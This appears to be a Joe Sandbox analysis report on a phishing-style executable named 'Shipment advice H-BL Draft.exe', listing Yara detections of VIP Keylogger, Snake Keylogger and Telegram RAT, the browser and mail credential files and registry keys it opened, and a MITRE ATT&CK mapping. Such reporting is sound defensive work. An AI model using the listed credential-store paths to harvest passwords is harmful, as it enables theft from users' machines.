Source: Yara match	File source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.PrcGlGVKeUCXxg.exe.4c10530.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment advice H-BL Draft.exe.498b840.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.3712537195.0000000000431000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3719627669.0000000002EE8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1319618401.000000000498B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1382016232.0000000004BCC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Shipment advice H-BL Draft.exe PID: 7548, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Shipment advice H-BL Draft.exe PID: 736, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PrcGlGVKeUCXxg.exe PID: 1340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PrcGlGVKeUCXxg.exe PID: 7888, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment advice H-BL Draft.exe.498b840.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.PrcGlGVKeUCXxg.exe.4c10530.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.PrcGlGVKeUCXxg.exe.4c10530.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment advice H-BL Draft.exe.498b840.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.3712537195.0000000000431000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1319618401.000000000498B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1382016232.0000000004BCC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Shipment advice H-BL Draft.exe PID: 7548, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PrcGlGVKeUCXxg.exe PID: 1340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PrcGlGVKeUCXxg.exe PID: 7888, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\	Jump to behavior
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: Yara match	File source: 14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment advice H-BL Draft.exe.498b840.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.PrcGlGVKeUCXxg.exe.4c10530.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.PrcGlGVKeUCXxg.exe.4c10530.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment advice H-BL Draft.exe.498b840.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.3712537195.0000000000431000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3719627669.0000000002EE8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3718301984.0000000002AAD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1319618401.000000000498B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1382016232.0000000004BCC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Shipment advice H-BL Draft.exe PID: 7548, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Shipment advice H-BL Draft.exe PID: 736, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PrcGlGVKeUCXxg.exe PID: 1340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PrcGlGVKeUCXxg.exe PID: 7888, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match	File source: 0000000D.00000002.3718301984.00000000029A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3719627669.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment advice H-BL Draft.exe.498b840.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.PrcGlGVKeUCXxg.exe.4c10530.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.PrcGlGVKeUCXxg.exe.4c10530.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment advice H-BL Draft.exe.498b840.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.3712537195.0000000000431000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3719627669.0000000002EE8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1319618401.000000000498B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1382016232.0000000004BCC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Shipment advice H-BL Draft.exe PID: 7548, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Shipment advice H-BL Draft.exe PID: 736, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PrcGlGVKeUCXxg.exe PID: 1340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PrcGlGVKeUCXxg.exe PID: 7888, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment advice H-BL Draft.exe.498b840.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.PrcGlGVKeUCXxg.exe.4c10530.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.PrcGlGVKeUCXxg.exe.4c10530.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment advice H-BL Draft.exe.498b840.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.3712537195.0000000000431000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1319618401.000000000498B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1382016232.0000000004BCC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Shipment advice H-BL Draft.exe PID: 7548, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PrcGlGVKeUCXxg.exe PID: 1340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PrcGlGVKeUCXxg.exe PID: 7888, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	111 Process Injection	1 Masquerading	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	11 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	11 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	31 Obfuscated Files or Information	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	13 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Shipment advice H-BL Draft.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: VIP Keylogger

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
Shipment advice H-BL Draft.exe